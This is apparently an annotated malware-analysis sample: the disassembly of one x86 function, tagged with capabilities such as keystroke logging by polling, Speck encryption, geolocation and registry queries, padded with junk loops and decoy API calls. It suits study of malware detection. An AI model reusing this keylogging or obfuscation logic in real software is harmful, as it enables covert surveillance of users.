Function at 0x10034c63
Capabilities:
Check os version
Encrypt data using speck
Get disk information
Get file attributes
Get geographical location
Log keystrokes via polling
Query or enumerate registry value
Set thread local storage value

Disassembly:
mov eax, 0x10061245
call fcn.10060330
sub esp, 0x9ac
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 0x60], ecx
lea ecx, [ebp - 0x560]
mov dword [ebp - 0x34], ebx
push 2
mov byte [ebp - 0x6c], dl
call fcn.1002bd73
mov dword [ebp - 0x14], ebx
jmp 0x10034ca9
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x560]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10034c96
mov dword [ebp - 0x34], 0x841b3c69
mov dword [ebp - 0x34], ebx
jmp 0x10034ce0
mov dword [ebp - 0x38], 5
inc dword [ebp - 0x38]
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x10034cdd
push 0x9d3
push 0x829
call dword [sym.imp.GDI32.dll_SetROP2]
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe5
jne 0x10034cbb
lea ecx, [ebp - 0x560]
call fcn.1002bdf5
mov dword [ebp - 0x24], 0xa48bbca6
xor esi, esi
mov dword [ebp - 0x50], 0xab77c19c
inc esi
mov dword [ebp - 0x20], 0x824a8c6a
mov dword [ebp - 0x24], 0xc2da8afc
push 3
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x20], 0xfffffff5
pop edi
cmp dword [ebp - 0x20], 0xfffffff3
jle 0x10034fcc
mov dword [ebp - 0x38], 0x7717
cmp dword [ebp - 0x38], 0x779d
jle 0x10034da0
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
lea eax, [ecx + edx]
cdq
lea ecx, [ebp - 0x7ec]
push edx
push eax
call fcn.1000cda0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10034d64
mov eax, dword [eax]
push eax
call fcn.1004b066
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x7ec]
call fcn.1002c0ff
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0xf45
jl 0x10034d44
inc edi
cmp edi, 0x3918
jl 0x10034d42
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x772d
jl 0x10034d40
xor esi, esi
push 3
inc esi
pop edi
mov dword [ebp - 0x1c], 0x7b1891f7
cmp dword [ebp - 0x38], 0x73e4
jge 0x10034dbb
push 0x1000a078
call fcn.1004b066
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x38], 0x7392715e
mov dword [ebp - 0x14], ebx
jmp 0x10034ddc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1c8], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10034dcb
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x10034fc4
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x44], 0xfffffffe
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
mov dword [ebp - 0x24], 0x573
mov eax, dword [ebp - 0x24]
sbb edx, edx
mov dword [ebp - 0x2c], 0x168a
neg edx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, edx
setg cl
xor edx, edx
imul ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c8]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
cmp edx, dword [ebp - 0x20]
jge 0x10034e79
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x10034fbc
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuW]
jmp 0x10034fbc
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x14], ebx
jmp 0x10034e92
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6b8], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10034e85
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], ebx
jg 0x10034f8b
mov dword [ebp - 0x24], ebx
jmp 0x10034ec9
mov dword [ebp - 0x30], ebx
jmp 0x10034ec1
mov dword [ebp - 0x6b4], 0x34283644
mov dword [ebp - 0x44], 0x34283644
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x10034ead
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10034ea8
mov dword [ebp - 0x4c], 0x3fd1
cmp dword [ebp - 0x4c], 0x3ff6
jle 0x10034f56
mov edx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov dword [ebp - 0x5c], 0xcf6
mov dword [ebp - 0x38], ecx
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x8dc]
and eax, edx
cdq
push edx
push eax
call fcn.1000cda0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10034f11
mov eax, dword [eax]
push eax
call fcn.1004b066
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x8dc]
call fcn.1002c0ff
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x14]
dec ecx
dec dword [ebp - 0x5c]
mov dword [ebp - 0x38], ecx
jne 0x10034ef3
inc esi
cmp esi, 0x617f
jl 0x10034ee7
inc edi
cmp edi, 0x321
jl 0x10034ee5
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1cb
jl 0x10034ee3
xor esi, esi
inc esi
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x10034f6b
push esi
push ebx
push 0xfe0
call dword [sym.imp.USER32.dll_InvalidateRect]
cmp dword [ebp - 0x4c], 0x3c1c
jge 0x10034f7f
push 0x1000a0c0
call fcn.1004b066
pop ecx
or dword [ebp - 4], 0xffffffff
inc dword [ebp - 0x2c]
jmp 0x10034e9a
mov eax, dword [ebp - 0x2c]
mov ecx, 0xc3e5f885
cmp ecx, eax
push 3
sbb edx, edx
neg edx
sub edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
neg edx
pop edi
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, dword [ebp - 0x20]
setge cl
sub eax, ecx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x1c]
jmp 0x10034de4
dec dword [ebp - 0x20]
jmp 0x10034d21
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x10034fdb
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x24], 0xfffffff7
jmp 0x1003534f
mov dword [ebp - 0x48], 0x44455595
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x3c], 0xfffffff7
mov dword [ebp - 0x54], 0x9c710427
mov dword [ebp - 0x50], 6
mov dword [ebp - 0x14], ebx
jmp 0x1003501c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x70c], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003500f
mov dword [ebp - 0x2c], ebx
jmp 0x1003509e
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x10035043
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4d0], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10035032
mov eax, dword [ebp - 0x38]
xor edx, edx
dec dword [ebp - 0x50]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
cmp eax, 0xc1b0
setge dl
xor ecx, ecx
imul edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x3c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x708]
setg dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
setge cl
imul edx, ecx
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x4d0], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x10
je 0x10035026
mov dword [ebp - 0x54], 0xbebf3b8c
mov dword [ebp - 0x54], 0x862f
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100350cc
push 0x1857
push 0x1474
push ebx
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100350e0
push 0x27a
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x5c], 0xfffffff9
lea ecx, [ebp - 0x1a4]
push 2
call fcn.1002bd73
push 2
mov dword [ebp - 4], 4
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x10035116
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1a4]
mov dword [eax + ecx*4], 0x7e80a7c6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10035103
cmp dword [ebp - 0x24], esi
je 0x100351ce
push edx
lea ecx, [ebp - 0x334]
call fcn.1002bd73
mov dword [ebp - 0x38], 0x7af2c9a1
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10035152
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x334]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003513f
cmp dword [ebp - 0x48], ebx
jne 0x1003516a
mov eax, dword [ebp - 0x334]
cmp dword [eax + 4], ebx
jne 0x1003516a
mov esi, ebx
mov ecx, dword [ebp - 0x38]
xor ebx, ebx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setge bl
xor edx, edx
neg ebx
cmp ebx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x24]
jne 0x10035199
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp eax, 0x6b379904
setne cl
imul ecx, dword [ebp - 0x48]
imul ecx, esi
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0x334]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
call fcn.1002bdf5
xor esi, esi
xor ebx, ebx
inc esi
jmp 0x10035311
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x20], ebx
jmp 0x100351f2
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd4], 0xbbe58ed0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x100351e1
mov dword [ebp - 0x20], ebx
jmp 0x1003520d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x264], 0xfffffff8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x100351fc
dec dword [ebp - 0xd4]
xor edx, edx
mov eax, dword [ebp - 0xd4]
inc dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x25c]
setle cl
xor edx, edx
cmp ecx, 0x5454
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1a4]
setl cl
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x48]
setne dl
add eax, edx
cmp eax, 0xe70d
jle 0x10035276
mov eax, esi
cmp dword [ebp - 0x24], ebx
jne 0x10035278
mov eax, ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1a4]
cmp dword [eax], ebx
jne 0x1003528f
mov ecx, ebx
cmp dword [ebp - 0x24], ebx
je 0x10035291
mov ecx, esi
mov eax, dword [ebp - 0xd4]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xd0]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x5c]
sete cl
xor edx, edx
cmp ecx, 0x65fb
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx, 0x37d
xor ecx, ecx
cmp eax, 0x1323
setne cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xd4]
sub eax, dword [ebp - 0xd4]
neg eax
sbb eax, eax
inc eax
imul edx, eax, 0xb839
mov eax, dword [ebp - 0x5c]
sub edx, 0xfffffffc
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x48]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1a4]
add ecx, dword [eax]
je 0x10035332
mov ecx, esi
cmp dword [ebp - 0x48], ebx
jne 0x10035334
mov ecx, ebx
mov eax, dword [ebp - 0x1a4]
or dword [ebp - 4], 0xffffffff
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1a4]
call fcn.1002bdf5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xa
jle 0x10034fe7
push edi
lea ecx, [ebp - 0x228]
call fcn.1002bd73
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x3dc]
mov dword [ebp - 0x30], 0xf98a59c1
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x1c], 0xb44cf59
mov dword [ebp - 0x3c], 0x2eda8ed4
mov dword [ebp - 0x44], 0x28405cef
mov dword [ebp - 0x34], 0xcbcb1a7a
mov dword [ebp - 0x14], 0xfffffff9
push edi
call fcn.1002bd73
mov byte [ebp - 4], 6
mov dword [ebp - 0x2c], 0x2b56095d
mov dword [ebp - 0x14], 0x198d
cmp dword [ebp - 0x14], 0x1a66
jle 0x1003543f
mov edi, ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov eax, edi
mov dword [ebp - 0x5c], 0x301e
mov dword [ebp - 0x38], eax
mov edi, eax
mov esi, 0x77b3
mov eax, edi
lea ecx, [ebp - 0x81c]
cdq
push edx
push eax
call fcn.1000cda0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100353f5
mov eax, dword [eax]
push eax
call fcn.1004b066
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x81c]
call fcn.1002c0ff
inc edi
dec esi
jne 0x100353db
mov eax, dword [ebp - 0x38]
mov esi, dword [ebp - 0x4c]
add eax, esi
dec dword [ebp - 0x5c]
mov dword [ebp - 0x38], eax
jne 0x100353d4
mov edi, dword [ebp - 0x50]
inc esi
mov dword [ebp - 0x4c], esi
cmp esi, 0x6bd9
jl 0x100353c8
inc edi
mov dword [ebp - 0x50], edi
cmp edi, 0x2336
jl 0x100353c5
xor esi, esi
push 3
inc esi
pop edi
cmp dword [ebp - 0x14], 0x178a
jge 0x10035453
push 0x1000a114
call fcn.1004b066
pop ecx
mov dword [ebp - 4], 6
mov dword [ebp - 0x20], ebx
jmp 0x10035472
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x228]
mov dword [eax + ecx*4], 0x4e1a3622
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1003545f
mov dword [ebp - 0x20], ebx
jmp 0x1003548f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3dc]
mov dword [eax + ecx*4], 0xebda1846
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1003547c
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 2
jg 0x1003569c
mov dword [ebp - 0x50], 2
mov dword [ebp - 0x14], ebx
jmp 0x100354be
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x150], 0x9cf13e1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100354ad
dec dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0xbba6
setg cl
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], ebx
jne 0x100354e2
mov eax, ebx
cmp dword [ebp - 0x2c], ebx
je 0x100354e4
mov eax, esi
xor ecx, ecx
mov dword [ebp - 0x50], ebx
cmp eax, 0x45be
sete cl
xor edx, edx
sub ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14c]
cmp ecx, eax
mov eax, dword [ebp - 0x50]
setg dl
xor ecx, ecx
cmp eax, edx
setne cl
xor edx, edx
cmp ecx, 0x2aaf
setge dl
imul edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x44]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x3c]
jge 0x100355cb
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x228]
cmp dword [eax + ecx*4], ebx
je 0x100355cb
lea ecx, [ebp - 0x620]
xorps xmm0, xmm0
push ecx
lea eax, [ebp - 0x610]
push eax
push ecx
lea ecx, [ebp - 0x578]
movdqu xmmword [ebp - 0x620], xmm0
call fcn.1002bdcf
mov dword [ebp - 0x40], 0x802e
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x228]
cmp dword [eax + ecx*4], ebx
je 0x1003559f
mov eax, dword [ebp - 0x578]
xor ecx, ecx
cmp dword [eax + 0xc], ebx
mov eax, dword [ebp - 0x14c]
setne cl
imul eax, ecx
mov ecx, esi
test eax, eax
jne 0x100355a1
mov ecx, ebx
mov eax, dword [ebp - 0x148]
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x148]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x578]
call fcn.1002bdf5
jmp 0x100355d7
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x34], 2
cmp dword [ebp - 0x34], ebx
jl 0x10035694
mov dword [ebp - 0x40], 0xff9b
mov dword [ebp - 0x38], 0x268b
cmp dword [ebp - 0x38], 0x26da
jle 0x10035627
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
mov ecx, 0x10608998
cdq
push edx
push eax
call fcn.1002bc5e
inc esi
cmp esi, 0x653c
jl 0x10035602
inc edi
cmp edi, 0x177e
jl 0x10035600
push 3
pop edi
xor esi, esi
mov dword [ebp - 0x14], 2
inc esi
cmp dword [ebp - 0x14], ebx
jl 0x1003563e
mov dword [ebp - 0x50], esi
dec dword [ebp - 0x14]
jns 0x10035636
mov byte [ebp - 4], 9
cmp dword [ebp - 0x38], 0x25d8
jge 0x1003567e
mov edx, 0x1000a12c
mov ecx, 0x10608998
call fcn.1002d708
jmp 0x1003567e
mov dword [ebp - 4], 6
mov dword [ebp - 0x40], 0xfffffff8
dec dword [ebp - 0x34]
jmp 0x100355de
inc dword [ebp - 0x30]
jmp 0x10035497
mov dword [ebp - 0x2c], 0xa
jmp 0x100356c4
mov dword [ebp - 0x1c], ebx
jmp 0x100356bb
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3dc]
cmp dword [eax + ecx*4], ebx
jne 0x100356c1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x100356aa
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x15
jle 0x100356a5
lea ecx, [ebp - 0x3dc]
call fcn.1002bdf5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x228]
call fcn.1002bdf5
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100356f4
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov dword [ebp - 0x20], 0x824a8c6a
mov dword [ebp - 0x5c], 0x46d5
cmp dword [ebp - 0x5c], 0x489f
jle 0x10035763
push 0xe4f
call dword [sym.imp.GDI32.dll_EndPage]
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x38], 0x4f6b
mov eax, edi
lea ecx, [ebp - 0x990]
cdq
push edx
push eax
call fcn.1000cda0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003573b
mov eax, dword [eax]
push eax
call fcn.1004b066
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x990]
call fcn.1002c0ff
add edi, esi
dec dword [ebp - 0x38]
jne 0x10035721
inc esi
cmp esi, 0xef1
jl 0x10035718
push 3
pop edi
mov dword [ebp - 0x24], 0xc2da8afc
cmp dword [ebp - 0x5c], 0x434f
jge 0x1003577e
push 0x1000a194
call fcn.1004b066
pop ecx
or dword [ebp - 4], 0xffffffff
xor esi, esi
mov dword [ebp - 0x1c], 0xffffffff
inc esi
mov dword [ebp - 0x20], 0xfffffff5
cmp dword [ebp - 0x20], 0xfffffff3
jle 0x10035990
mov dword [ebp - 0x2c], 0x7b1891f7
mov dword [ebp - 0x38], 0x7392715e
mov dword [ebp - 0x14], ebx
jmp 0x100357c1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1ec], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100357b0
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], ebx
jl 0x10035988
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x44], 0xfffffffe
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
mov dword [ebp - 0x24], 0x573
mov eax, dword [ebp - 0x24]
sbb edx, edx
mov dword [ebp - 0x1c], 0x168a
neg edx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, edx
setg cl
xor edx, edx
imul ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setne dl
cmp edx, dword [ebp - 0x20]
jge 0x1003585f
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10035958
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuW]
jmp 0x10035958
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x14], ebx
jmp 0x10035878
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x724], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003586b
mov dword [ebp - 0x1c], ebx
jmp 0x100358c6
mov dword [ebp - 0x24], ebx
jmp 0x100358a8
mov dword [ebp - 0x30], ebx
jmp 0x100358a0
mov dword [ebp - 0x720], 0x34283644
mov dword [ebp - 0x44], 0x34283644
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x1003588c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10035887
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100358c3
push esi
push ebx
push 0xfe0
call dword [sym.imp.USER32.dll_InvalidateRect]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10035882
mov dword [ebp - 0x38], 0x46ec
cmp dword [ebp - 0x38], 0x48e6
jle 0x10035907
mov esi, ebx
mov edi, ebx
mov ebx, 0x452b
mov eax, edi
mov ecx, 0x10608998
cdq
push edx
push eax
call fcn.1002bc5e
add edi, esi
dec ebx
jne 0x100358e4
inc esi
cmp esi, 0x44e
jl 0x100358dd
xor esi, esi
push 3
inc esi
pop edi
mov eax, dword [ebp - 0x1c]
mov ecx, 0xc3e5f885
cmp ecx, eax
sbb edx, edx
neg edx
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, dword [ebp - 0x20]
setge cl
sub eax, ecx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 4], 0xd
cmp dword [ebp - 0x38], 0x46c6
jge 0x10035954
mov edx, 0x1000a1d8
mov ecx, 0x10608998
call fcn.1002d708
or dword [ebp - 4], 0xffffffff
dec dword [ebp - 0x2c]
jmp 0x100357c9
dec dword [ebp - 0x20]
jmp 0x10035793
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100359a0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edi
lea ecx, [ebp - 0x27c]
call fcn.1002bd73
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0x34c]
mov dword [ebp - 0x30], 0xf98a59c1
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x1c], 0xb44cf59
mov dword [ebp - 0x38], 0x2eda8ed4
mov dword [ebp - 0x44], 0x28405cef
mov dword [ebp - 0x34], 0xcbcb1a7a
mov dword [ebp - 0x14], 0xfffffff9
push edi
call fcn.1002bd73
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x2c], 0x2b56095d
mov dword [ebp - 0x20], ebx
jmp 0x10035a0f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x27c]
mov dword [eax + ecx*4], 0x4e1a3622
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x100359fc
mov dword [ebp - 0x20], ebx
jmp 0x10035a2c
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34c]
mov dword [eax + ecx*4], 0xebda1846
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10035a19
push 2
mov dword [ebp - 0x30], ebx
pop edx
cmp dword [ebp - 0x30], edx
jg 0x10035c46
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x14], ebx
jmp 0x10035a59
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x168], 0x9cf13e1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10035a48
dec dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0xbba6
setg cl
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], ebx
jne 0x10035a7d
mov eax, ebx
cmp dword [ebp - 0x2c], ebx
je 0x10035a7f
mov eax, esi
xor ecx, ecx
mov dword [ebp - 0x50], ebx
cmp eax, 0x45be
sete cl
xor edx, edx
sub ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x164]
cmp ecx, eax
mov eax, dword [ebp - 0x50]
setg dl
xor ecx, ecx
cmp eax, edx
setne cl
xor edx, edx
cmp ecx, 0x2aaf
setge dl
imul edx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x44]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x38]
jge 0x10035c04
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x27c]
cmp dword [eax + ecx*4], ebx
je 0x10035c04
lea ecx, [ebp - 0x660]
xorps xmm0, xmm0
push ecx
lea eax, [ebp - 0x650]
push eax
push ecx
lea ecx, [ebp - 0x5f0]
movdqu xmmword [ebp - 0x660], xmm0
call fcn.1002bdcf
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x40], 0x802e
mov dword [ebp - 0x4c], 0x4a2d
cmp dword [ebp - 0x4c], 0x4c51
jle 0x10035b8e
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x5c], 0x3542
mov eax, edi
lea ecx, [ebp - 0x84c]
cdq
push edx
push eax
call fcn.1000cda0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10035b48
mov eax, dword [eax]
push eax
call fcn.1004b066
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x84c]
call fcn.1002c0ff
add edi, esi
dec dword [ebp - 0x5c]
jne 0x10035b2e
inc esi
cmp esi, 0x7680
jl 0x10035b25
push ebx
push 0x1798
push 0x130c
push 0x965
push 0x1133
call dword [sym.imp.USER32.dll_SetScrollRange]
xor esi, esi
push 3
inc esi
pop edi
cmp dword [ebp - 0x4c], 0x49e4
jge 0x10035ba2
push 0x1000a244
call fcn.1004b066
pop ecx
mov dword [ebp - 4], 0x11
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x27c]
cmp dword [eax + ecx*4], ebx
je 0x10035bd4
mov eax, dword [ebp - 0x5f0]
xor ecx, ecx
cmp dword [eax + 0xc], ebx
mov eax, dword [ebp - 0x164]
setne cl
imul eax, ecx
mov ecx, esi
test eax, eax
jne 0x10035bd6
mov ecx, ebx
mov eax, dword [ebp - 0x160]
xor edx, edx
cmp eax, ecx
